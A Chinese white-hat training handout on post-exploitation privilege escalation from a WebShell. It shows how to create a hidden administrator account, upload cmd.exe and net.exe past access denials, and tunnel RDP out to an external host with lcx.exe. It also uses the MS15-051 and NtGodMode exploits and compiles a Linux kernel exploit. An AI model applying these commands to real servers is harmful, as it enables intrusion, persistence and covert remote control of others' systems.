# 米斯特白帽培训讲义 漏洞篇 提权 > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers) > 整理:[飞龙](https://github.com/) > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) 提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。 ![](http://ww3.sinaimg.cn/large/841aea59jw1fb4ccprz1aj20wv093weo.jpg) ## 基本 Dos 命令、常识 + `whoami`:查看当前用户名,用于查看权限大小。 + `ipconfig`:显示当前 TCP/IP 配置,用于查看 IP。 + `net user`:查看当前系统的所有用户。 + `net user <用户名> <用户密码> /add`:创建用户。 + `net localgroup administrators <用户名> /add`:将用户加入`administrators`用户组。 + 远程连接默认端口:3389。 下面拿菜刀中的 Shell 演示一遍这几个命令。 首先是`whoami`,可以看到`administrator`,应该是管理员。 ![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cctvg5kj20ht0750st.jpg) 然后是`ipconfig`,我们可以看到`192.168.175.129`,这是内网的 IP。 ![](http://ww1.sinaimg.cn/large/841aea59jw1fb4ccy6hwjj20dz0ddt96.jpg) 然后是`net user`: ![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cd0wn1qj20hd04agll.jpg) 知道这些用户之后,我们需要创建自己的用户`mst`。创建后再执行`net user`,可以看到创建成功: ![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cd3tly5j20hz064mx8.jpg) 接下来我们创建一个名为`mst$`的用户: ![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cd642xxj20h90680st.jpg) 可以看到它并没有显示在用户列表中,之后我们再执行`net user mst$`: ![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cd9err5j20az0bpwep.jpg) 它又是确实存在的,这就是隐藏用户的一个小技巧。 之后我们把`mst$`添加到管理员组中,并且查看它的信息,我们发现它成功刚添加到了管理员组中。 ![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdbd37oj20g20dn0t3.jpg) 现在我们查看远程连接的端口,首先执行`tasklist /svc`,寻找`TermService`: ![](http://upload-images.jianshu.io/upload_images/118142-7148e693db4563e4.jpg) 我们看到它的 PID 为 1504。之后执行`netstat -ano`: ![](http://upload-images.jianshu.io/upload_images/118142-788dc8fc6737406e.jpg) 寻找 PID 为 1504 的一行,可以看到它的端口是 3389。 需要远程连接的时候,输入刚刚创建的用户名和密码就可以了。 ## 突破限制 假如说我们在实际情况中看到了`[Err]拒绝访问`: ![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cdxua7dj20f005ojre.jpg) 那我们可以找到自己电脑上的`cmd.exe`,然后上传上去。比如上传路径如下: ![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cde71lej20sl0a8759.jpg) 我们就可以执行`setp <路径>\cmd.exe`: ![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdj9462j20iu05r0su.jpg) 我们再来看各种命令: ![](http://ww3.sinaimg.cn/large/841aea59jw1fb4cdmk7agj20rm0f30te.jpg) ![](http://ww2.sinaimg.cn/large/841aea59jw1fb4cdplki6j20df03twef.jpg) `net user`还是拒绝访问的,我们用老方法,找到自己电脑中的`net.exe`,然后传上去。之后执行`<路径>\net.exe user`: ![](http://ww4.sinaimg.cn/large/841aea59jw1fb4cdsd6xgj20hq04174a.jpg) 可以看到突破了限制。 ## 端口转发 在提权过程中,我们经常碰到这样的情况: ![](http://ww4.sinaimg.cn/large/841aea59jw1fb56mw6pk7j20d508mwew.jpg) 我们可以看到 WebShell 的主机处于内网下,内网的意思就是说,它能连接别人,但别人不能连接它,就跟连接路由器的个人电脑差不多。 那么这种情况下,我们就需要用到端口转发工具`lcx.exe`,除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡,独立 IP 主机叫做本机。 将`lcx.exe`上传至本机和肉鸡之后,首先确定本机的 IP 为`119.90.140.191`: ![](http://ww3.sinaimg.cn/large/841aea59jw1fb56n00sppj208h020743.jpg) 然后我们在本机执行: ``` lcx.exe -listen 51 3388 ``` ![](http://ww1.sinaimg.cn/large/841aea59jw1fb56n2ux6ej20gt07kjrv.jpg) 这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。 然后我们在肉鸡上执行: ``` lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389 ``` ![](http://ww2.sinaimg.cn/large/841aea59jw1fb56n5zhs8j20lo026glh.jpg) 这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发。 之后,我们在本机或其他主机上使用远程连接客户端,连接`119.90.140.191:3388`,可以看到`lcx`中显示了转发的信息。 ![](http://ww1.sinaimg.cn/large/841aea59jw1fb56n8h5txj20gt0a10tg.jpg) 远程连接客户端的封包会发给主机的`lcx`,之后会发给肉鸡的`lcx`,之后会发给肉鸡的远程连接服务。响应封包会按原路返回。 等待一会儿之后,我们成功连接了肉鸡的远程桌面: ![](http://ww1.sinaimg.cn/large/841aea59jw1fb56nbetaaj20j50cjgll.jpg) ## Windows Exp 提权 Exp 提权用于普通方式不好用的时候。 首先我们通过`systeminfo`查看补丁: ![](http://upload-images.jianshu.io/upload_images/118142-db62a3154e7c0d45.jpg) 我们可以看到它安装了`Q147222`。 然后我们使用[GetRoot Tools](https://github.com/gh0stkey/GetRoot-Tools)工具,打开它,主界面是这样的: ![](http://upload-images.jianshu.io/upload_images/118142-420f6ca77da5d0fb.jpg) 我们选中上面的 Windows 2003,然后把`[01]: Q147222`复制到上方的输入框中。之后点击`Search`: ![](http://upload-images.jianshu.io/upload_images/118142-9b5f1021c8dc0a1a.jpg) 这就是我们可以使用的 Exp。我们随便选择一个,比如`MS15-051`。我们可以在课件中的 MS 提权集(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> ms提权集/ms15-051/ms15-051`)中找到它。 我们需要根据系统的版本来选择 Exp,这里系统是 32 位的,我们就应该选择`Win32/32.exe`。上传之后,我们可以使用`dir`命令在目录中看到它: ![](http://upload-images.jianshu.io/upload_images/118142-3f57e43595b04f20.jpg) 它的使用方法是` ""`,例如,我们执行`net user`: ![](http://upload-images.jianshu.io/upload_images/118142-1f48ecf494eb4ffb.jpg) 我们可以看到命令执行成功。 ## 上帝之门 上帝之门 Exp 用于开启 Windows 的“上帝模式”,即任意账户无密码登录。它需要能上传并且执行 EXE 文件。使用方法为`NtGodMode.exe [ON|OFF]`。我们可以在课件中(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> NtGodMode.exe`)找到它。 上传之后,执行`NtGodMode.exe ON`: ![](http://upload-images.jianshu.io/upload_images/118142-7ab4611985b296cc.jpg) 然后通过远程连接登录目标主机,将用户名输入为`admin`,密码任意填写。 ![](http://upload-images.jianshu.io/upload_images/118142-11fc859cbaab9b5a.jpg) 可以进入目标主机。 ![](http://upload-images.jianshu.io/upload_images/118142-32dd69303a92b072.jpg) 注意,必须是输入已有用户名,不存在的用户名是不行的。 ## Linux Exp 提权 首先根据`uname -a`查看内核版本,之后根据内核版本找 Exp: ![](http://upload-images.jianshu.io/upload_images/118142-5ee0c8d4aa934af1.png) 之后我们执行以下命令来编译: ``` gcc -pthread exp.c -o exp ``` 然后执行`./exp`来执行 Exp。我们一开始的用户可能是`xxx@yyy`,执行之后就变成了`root@yyy`,这样就算提权成功。 ## 附录 + [米斯特白帽子培训第二期视频教程](http://bbs.ichunqiu.com/thread-19368-1-1.html) + [Kali Linux 秘籍 第七章 权限提升](http://www.jianshu.com/p/0c26e7eaf226) + [CVE-2016-5195 脏牛漏洞](http://m.bobao.360.cn/learning/detail/3123.html)